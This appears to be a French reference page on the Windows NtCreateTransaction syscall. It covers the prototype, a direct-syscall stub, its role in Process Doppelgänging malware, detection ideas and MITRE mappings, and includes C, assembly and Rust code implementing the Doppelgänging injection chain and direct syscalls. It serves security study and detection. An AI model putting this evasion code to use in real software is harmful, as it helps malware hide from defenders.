NtCreateTransaction

Prototype

NTSTATUS NtCreateTransaction(
  PHANDLE            TransactionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  LPGUID             Uow,
  HANDLE             TmHandle,
  ULONG              CreateOptions,
  ULONG              IsolationLevel,
  ULONG              IsolationFlags,
  PLARGE_INTEGER     Timeout,
  PUNICODE_STRING    Description
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 CF 00 00 00      mov eax, 0xCF      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtCreateTransaction repose sur le Kernel Transaction Manager (KTM) et le Common Log File System (CLFS). Introduit dans Windows Vista pour TxF (NTFS transactionnel) et TxR (registre transactionnel), le handle retourné ici sert de contexte à `NtCreateFile` avec `FILE_OPEN_FOR_TRANSACTED_BINDING` ou à `CreateFileTransacted` ; toutes les écritures dans la transaction sont invisibles aux autres handles tant que `NtCommitTransaction` n'a pas été appelé. Microsoft a déprécié TxF dans Windows 10 mais l'API reste pleinement livrée et supportée — d'où son intérêt persistant comme primitive d'évasion.

Usage courant par les malwares

Brique centrale du **Process Doppelgänging** (Tal Liberman & Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). Le flux : (1) `NtCreateTransaction` ; (2) `NtCreateFile` *à l'intérieur* de la transaction avec un nom inoffensif ; (3) `NtWriteFile` du PE malveillant ; (4) `NtCreateSection` à partir du handle transactionnel ; (5) `NtRollbackTransaction` — le fichier sur disque redevient ce qu'il était (souvent une copie propre de svchost.exe ou notepad.exe), tandis que la section en mémoire mappe toujours les octets malveillants ; (6) `NtCreateProcessEx` / `NtCreateThreadEx` sur la section pour démarrer un processus dont l'image de référence, vue de Win32, est le fichier propre annulé. Le ransomware SynAck l'a utilisé in the wild dès 2018, puis des variantes Osiris/Kronos. Cousin proche — le **Transacted Hollowing** — utilise `NtCommitTransaction` au lieu d'un rollback.

Opportunités de détection

Le provider ETW `Microsoft-Windows-Kernel-File` émet des événements liés aux transactions (IDs 30/31 pour create/commit/rollback) et `Microsoft-Windows-TxF` expose toute la surface NTFS transactionnelle. Sysmon ne signale pas nativement les transactions, mais les EDR comparent de plus en plus `SectionObject->ControlArea->FilePointer` au contenu disque via `NtAreMappedFilesTheSame` pour repérer les écarts. Un processus dont l'`Image File Name` (`PEB->ProcessParameters->ImagePathName`) ne correspond pas en hash à son fichier disque est l'IOC référence du Doppelgänging. Requête de chasse : tout processus non-système qui ouvre un handle de transaction, écrit un PE dedans, puis crée une section depuis ce fichier transactionnel.

Exemples de syscalls directs

// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.

HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
    &hTransaction,
    TRANSACTION_ALL_ACCESS,
    NULL,    // unnamed
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
    L"C:\\Windows\\Temp\\update.dat",
    GENERIC_WRITE | GENERIC_READ, 0, NULL,
    CREATE_ALWAYS, 0, NULL,
    hTransaction, NULL, NULL);

// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);

// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hFile);

// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);

// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                  NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
    mov  r10, rcx
    mov  eax, 0CFh
    syscall
    ret
NtCreateTransaction ENDP

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;

unsafe fn create_tx() -> HANDLE {
    let mut h: HANDLE = null_mut();
    let status = NtCreateTransaction(
        &mut h,
        0x10000000, // TRANSACTION_ALL_ACCESS
        null_mut(), null_mut(), null_mut(),
        0, 0, 0,
        null_mut(), null_mut(),
    );
    assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
    h
}

Mappings MITRE ATT&CK

• T1055.013Process Doppelgängingmitre ↗
• T1027Obfuscated Files or Informationmitre ↗
• T1106Native APImitre ↗